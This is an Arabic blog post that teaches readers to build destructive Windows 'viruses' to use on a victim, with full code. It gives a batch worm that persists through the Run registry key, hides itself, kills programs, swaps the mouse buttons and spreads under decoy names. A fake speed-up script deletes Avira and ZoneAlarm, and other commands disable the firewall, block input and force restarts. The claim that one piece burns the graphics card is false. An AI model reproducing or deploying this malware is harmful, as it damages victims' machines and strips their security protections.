كيف صناعة فيروس فتاك بسهولة وبدون برنامج
- السلام عليكم ورحمة الله وبركته اليوم احببت ان اشرككم طريقة صناعة فيروس مدمر للحواسيب وبدون اي برنامج نعم بدون برنامج .
تم ندخل للمستند ونقوم بلصق الامر وفي هاده الحالة امر باغلاق الحاسوب
تم نقوم بحفضها لكن يجب ان يكون اخر اسم المستند .bat
cmdow @ /HID
shutdown.exe -r -f -t 60 -c "Windows XP will now restart in 30 Seconds...hacked by {اكتب الرسالة التي تريد ان تضهر لضحية }
net user aspnet /delete
EXIT
اوامرفتاكة لا تجرب الفيروس في حاسوبك
1-ينسخ الفيروس نفسه الي الStart UP
2-ويخبىء نفسه مع باقي الملفات التي يصنعها
3-ينهي عمل الMSN و النورتن و الWindows Explorer واشياء اخرى
4-ويعكس ازرار الماوس
5-ويغير الوقت في الويندوز الي الساعة الواحدة
6-ينذر المستخدم بوجود دائما
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
الفيروس التاني
كود رائع لايقاف عمل اي برنامج في جهاز الضحيه وانا في الكود موضح ايقاف الايفرا و الزون اللارم
echo welcome to the phantom by dertunisiano@ @echo if u want to make your computer faster you should to following @echo the phantom steps (step by step) @pause cd\ c: dir dir c:\progra~1\aivra~1 @echo if u want to make your computer faster @pause @echo now you should to type y and press enter del c:\progra~1\aivra~1 @pause c: dir @echo if u want to make your computer faster @pause @dir c:\progra~1 dir c:\progra~1\zonea~1\zonealarm del c:\progra~1\zonea~1\zonealarm @echo be happy your computer now is faster than before :exit
echo welcome to the phantom by dertunisiano@ @echo if u want to make your computer faster you should to following @echo the phantom steps (step by step) @pause cd\ c: dir dir c:\progra~1\aivra~1 @echo if u want to make your computer faster @pause @echo now you should to type y and press enter del c:\progra~1\aivra~1 @pause c: dir @echo if u want to make your computer faster @pause @dir c:\progra~1 dir c:\progra~1\zonea~1\zonealarm del c:\progra~1\zonea~1\zonealarm @echo be happy your computer now is faster than before :exit
الفيروس التالت
يحرق كرت الشاشه
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long* ByVal X As Long* ByVal Y As Long* ByVal nWidth As Long* ByVal nHeight As Long* ByVal hSrcDC As Long* ByVal xSrc As Long* ByVal ySrc As Long* ByVal dwRop As Long) As Long Private Sub Form_KeyDown(KeyCode As Integer* Shift As Integer) If KeyCode = vbKeyEscape Then Unload Me End Sub Private Sub Form_Load() Dim lngDC As Long Dim intWidth As Integer* intHeight As Integer Dim intX As Integer* intY As Integer lngDC = GetDC(0) intWidth = Screen.Width / Screen.TwipsPerPixelX intHeight = Screen.Height / Screen.TwipsPerPixelY form1.Width = intWidth * 15 form1.Height = intHeight * 15 Call BitBlt(hDC* 0* 0* intWidth* intHeight* lngDC* 0* 0* vbSrcCopy) form1.Visible = vbTrue Do intX = (intWidth - 128) * Rnd intY = (intHeight - 128) * Rnd Call BitBlt(lngDC* intX* intY + 1* 128* 128* lngDC* intX* intY* vbSrcCopy) DoEvents Loop End Sub Private Sub Form_Unload(Cancel As Integer) Set form1 = Nothing End End Sub
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long* ByVal X As Long* ByVal Y As Long* ByVal nWidth As Long* ByVal nHeight As Long* ByVal hSrcDC As Long* ByVal xSrc As Long* ByVal ySrc As Long* ByVal dwRop As Long) As Long Private Sub Form_KeyDown(KeyCode As Integer* Shift As Integer) If KeyCode = vbKeyEscape Then Unload Me End Sub Private Sub Form_Load() Dim lngDC As Long Dim intWidth As Integer* intHeight As Integer Dim intX As Integer* intY As Integer lngDC = GetDC(0) intWidth = Screen.Width / Screen.TwipsPerPixelX intHeight = Screen.Height / Screen.TwipsPerPixelY form1.Width = intWidth * 15 form1.Height = intHeight * 15 Call BitBlt(hDC* 0* 0* intWidth* intHeight* lngDC* 0* 0* vbSrcCopy) form1.Visible = vbTrue Do intX = (intWidth - 128) * Rnd intY = (intHeight - 128) * Rnd Call BitBlt(lngDC* intX* intY + 1* 128* 128* lngDC* intX* intY* vbSrcCopy) DoEvents Loop End Sub Private Sub Form_Unload(Cancel As Integer) Set form1 = Nothing End End Sub
الفيروس الرابع
كود يوقف عمل الجدار الناري
@echo off
netsh firewall set opmode disable
كود لإيقاف الفاره و لوحة المفاتيح
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Activate() DoEvents BlockInput True Sleep 1000 BlockInput False End Sub
@echo off
netsh firewall set opmode disable
كود لإيقاف الفاره و لوحة المفاتيح
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Activate() DoEvents BlockInput True Sleep 1000 BlockInput False End Sub
او يمكن تحميلهم وتوفر علر نفسك كل دالك من هنا
1 التعليقات:
إضغط هنا لـ التعليقاتwa3r yasalm